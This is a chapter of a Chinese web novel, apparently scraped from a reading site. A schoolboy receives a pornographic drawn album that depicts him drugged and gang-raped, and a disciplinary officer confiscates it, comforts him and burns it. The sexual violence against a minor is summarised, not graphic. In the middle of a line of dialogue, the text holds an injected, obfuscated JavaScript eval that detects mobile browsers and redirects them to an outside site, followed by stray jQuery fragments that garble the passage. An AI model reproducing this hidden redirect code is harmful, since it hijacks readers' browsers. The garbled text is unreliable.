30. 第三十章 烧毁画册

作品:《当风纪委员开始认真

    拉斐尔嘴角微微上扬,勾勒出一抹略带得意的弧线,他向前迈了一小步,身上那股淡淡的古龙水味飘散在空气中,混合着他与生俱来的自信气息,他的眼神也变得明亮而炽热,现在就是重塑印象的好时机!


    “九夏、青霭、切诺阀克、赛西北、雅顿、卡兹克、新索兰迪亚语我都会。”


    “无论是日常交流还是商务谈判,都不在话下。”


    说着,他便随意地切换着几种语言,说了几句名著里经典的话还有日常用语,发音标准得就像那些母语者。


    白秋雅面上不显,但内心确实小小的震撼了一波,还真让她遇到了电视剧里会七国语言的人了。


    “好厉害。”


    “那必须的。”听到被夸赞,拉斐尔不禁有些小得意,如果白秋雅对自己了解得再多一些的话,肯定对他会有更大的改观,想到这少年的思绪似乎飘回到了过去那些刻苦学习的日子。


    “小时候,家族对我的期望很高,他们希望我能成为一个全面发展的继承人,不仅要精通政治知识,还要有广阔视野。于是,从懂事起,我就被各种语言老师包围,每天除了基本的学习以外,就是跟着语言老师练习口语,背单词、学语法,枯燥得要命,但坚持下来,就有了现在的成果。”


    所以他在有了一点反抗之力后就迫不及待地拿去使用了,拉斐尔专门强调了自己的坚持和刻苦,努力在白秋雅面前树立起能吃苦的模样。


    “那一定很辛苦吧。”白秋雅顺着他的话继续顺下去。


    “辛苦是辛苦了点,但现在看来,一切都是值得的。”如果没有学习这些,那他现在又该怎么在白秋雅面前展现呢?


    教室内。


    方苏木的单眼皮脂肪极少,仿若薄薄的一层蝉翼轻覆于眼眸之上,透着一种别样的清透感,但现在看着田芳菊给他的画册却像是失了神。


    为什么会特意给他一份离别礼物呢?


    他谨慎地翻开了一页,映入眼帘的则是一个清瘦的少年,匍匐在一摊肉脔之上,嘴巴也被堵上,而下一页则是故事的开始。


    刚从学校出来的少年身穿校服,遇到了自己的好朋友,好朋友便提出了一起去酒吧玩玩,起先少年还觉得不妥,但拗不过多年的朋友情谊,再加上朋友再三保证,绝不喝酒,只是去看看那些大人要做什么。


    于是他们进入了酒吧,酒吧里周围弥漫着烟酒混杂的刺鼻味道,震耳欲聋的音乐声冲击着耳膜,形形色色的人在舞池里疯狂地扭动着身体,灯光也闪烁得让人眼花缭。


    酒吧里的人看着新来的面孔便像恶狼见到了小白兔一般瞬间投来了一道道炽热而又带着审视的目光,角落里几个喝得半醉的壮汉停下了手中碰杯的动作,嘴角勾起一抹似有若无的玩味弧度,用粗糙的大手摩挲着下巴。


    之后两人便找了个地方坐下,好朋友高喊着来这里不喝点酒还有什么意思,但少年一再坚持下,酒还是换成了饮料,饮料却是被提前下了药,随后他便浑身发软了起来,但却不至于昏迷,周围的男人伙同他的好朋友一拥而上......他只能眼睁睁地看着一个又一个的男人对他做着那些惨无人道的事,却无法反抗,清醒地沉沦下去。


    方苏木握着画册的本子都在发抖,里面的主角,可以说是和他一个模子刻出来的,那眉眼、那神情,甚至连眉头微蹙的弧度都如出一辙。


    他的心脏在胸腔里疯狂跳动,似要冲破肋骨的禁锢,每一下都带着震撼与惶惑。


    熟悉的感觉又来了,那些前段日子遭受过的折磨画面又冲进了他的脑海,让人痛不能自抑。


    白秋雅一进门便察觉到了方苏木的状态不对,虽然他拥有着浑然天成的忧郁感,但现在,却像是失去了所有生气,似乎连活动一个关节都十分困难。


    他着了魔般盯着面前的画册,指甲在上面划出一道道的痕迹,让本来修剪得到游离线的指甲磨得破皮甚至出了血,可他仿若未觉。


    “你怎么了?”她目光目光顺势落在那本被少年死死扣住的画册,从侧写的视角都能看出里面的内容香艳至极。


    这是谁给他的?


    方苏木听到那个让人安心的声音缓缓抬起头,眼神空洞又迷茫,过了好一会儿,才聚焦在白秋雅脸上,嘴唇微微颤抖,却半晌说不出话来。


    少女伸手想要拿走他面前的画册,却被方苏木猛地一把抓住手腕,瘦弱的身躯爆发出了巨大的力量,虽然这这对白秋雅来说算不上什么大力道。


    方苏木像是突然回过神来,慌忙松开手,声音沙哑地说:“别……别看。”


    “嗯?有什么是我们风纪委员不能看的?”


    拉斐尔直接夺过方苏木手里的画册递给了白秋雅,霸道又蛮横。


    白秋雅接过画册,只是翻了一页便立马扣上,本就冰冷的黑眸看起来更深不见底了,她的手指不自觉地收紧,捏着画册的边角。


    前段时间学校里的风气变得好了起来,持续扣减的体能速度也有所下降,但不知道为何最近体能扣减的速度变得越来越快,究其原因她一直没有找到,也是这些簧色画册一直在学校隐秘流传,只是不知道已经传播了多久,而现在提升的体能更是印证了这点。


    拉斐尔还想瞅瞅。


    “这里面的内容是什么啊?”


    “有害你健康的东西。”


    “里面是有毒还是什么,怎么可能有害健康。”


    “你就是不想给我看。”拉斐尔内心很受伤,看来白秋雅还是没把他当成朋友,世界上能让他主动示好的就她一个了,偏偏别人还不领情。


    “可以这么理解。”白秋雅算是应了他的话,里面画的人是方苏木,如果这种东西被别人看到再肆意传阅,谁都不能保证这个少年今后的日子该怎么办,有这样的一个东西在,损害的不光是方苏木的名誉,还会摧残他的精神。


    “这个东西我没收了。”她的眼神中透着几分决绝,“方苏木,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712172|155553||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你现在跟我去个地方。”


    而方苏木现在的脑子都是混乱的状态,只是遵循着本能答应了白秋雅,在白秋雅的指令下站起,和走路。


    “你就别跟过来了。”白秋雅看着背后尾随的拉斐尔说到。


    可这家伙偏偏像发了牛脾气一般非要跟着白秋雅,白秋雅感到了一阵无奈,这厮今天是皮痒了吗?只得慢条斯理地戴上了白手套。


    在看到少女这个要动手的前兆动作后,拉斐尔的牛脾气瞬间散了,像是立马变成了一只温顺乖巧的小猫咪。


    “我刚好想起我还有事,作业还没写完呢。”他装作很苦恼的样子,事实上他就没做过任何学校里布置的作业,全部都是花钱或是胁迫让别人代写。


    说完,拉斐尔便一溜烟地跑开了。


    白秋雅带着方苏木上了天台,天台的风肆意吹动着,直到把两人的头发吹乱才罢休。


    她目光扫过四周,天台并没有别人。


    “这本画册是谁给你的?”


    “田老师。”


    怎么是她?白秋雅觉得既意外,又不意外,白秋雅开始翻阅了起来,只是一扫,便看完了全过程。


    “你别看。”少年崩溃地哭了起来,里面的人衣衫不整,就好像是他亲身经历了这些事情一般,一想到这些他就觉得无法呼吸。


    “方苏木,你觉得这是你吗?”


    “是......”


    “不,这不是你。”


    “可是......”他的声音都在颤抖,“可是上面画的明明就是我啊。”


    “那只是别人虚构的你。”白秋雅看着方苏木,目光坚定,“用画笔、用私欲造出一个根本不是你的形象。”


    “可真正的你是什么样,你心里清楚。”


    方苏木眼神空洞,泪水止不住地流,双手紧紧攥着衣角,指节泛白。


    那些不堪入目的画,像是一把把利刃,将他的内心戳得千疮百孔,曾经的经历,被反复提起碾压,更要命的是,还一次次毫无遮掩地暴露在白秋雅眼前。


    白秋雅从包里拿出一根火柴,还有从萧白川给自己告白的爱心信件上撕下来的砂纸,轻轻一滑。


    火柴“哧”的一声被点燃。


    随后便烧向了画册,火焰舔舐着画册的边角,纸张在高温下迅速卷曲、变黑,化作缕缕灰烬升腾而起,白秋雅注视着跳跃的火苗。


    方苏木的目光,不由自主地被那团热烈燃烧的火焰吸引,可更让他心脏发颤的,是火焰背后的白秋雅。


    日光之下,火光虽没有黑夜里张牙舞爪,却恰好将少女的脸庞勾勒出一圈淡淡的光晕,恍惚间,方苏木仿若回到了那个无助的下午,他躺在少女怀中,唯有少女的脸庞看不真切却又散发着冷淡又安心的气息,如今,这张脸却如此明晰地呈现在眼前,让他一时有些怔愣。


    火焰渐渐熄灭,只剩一堆余烬,风一吹,零星的灰烬便飘散在了空中,不见半点残留。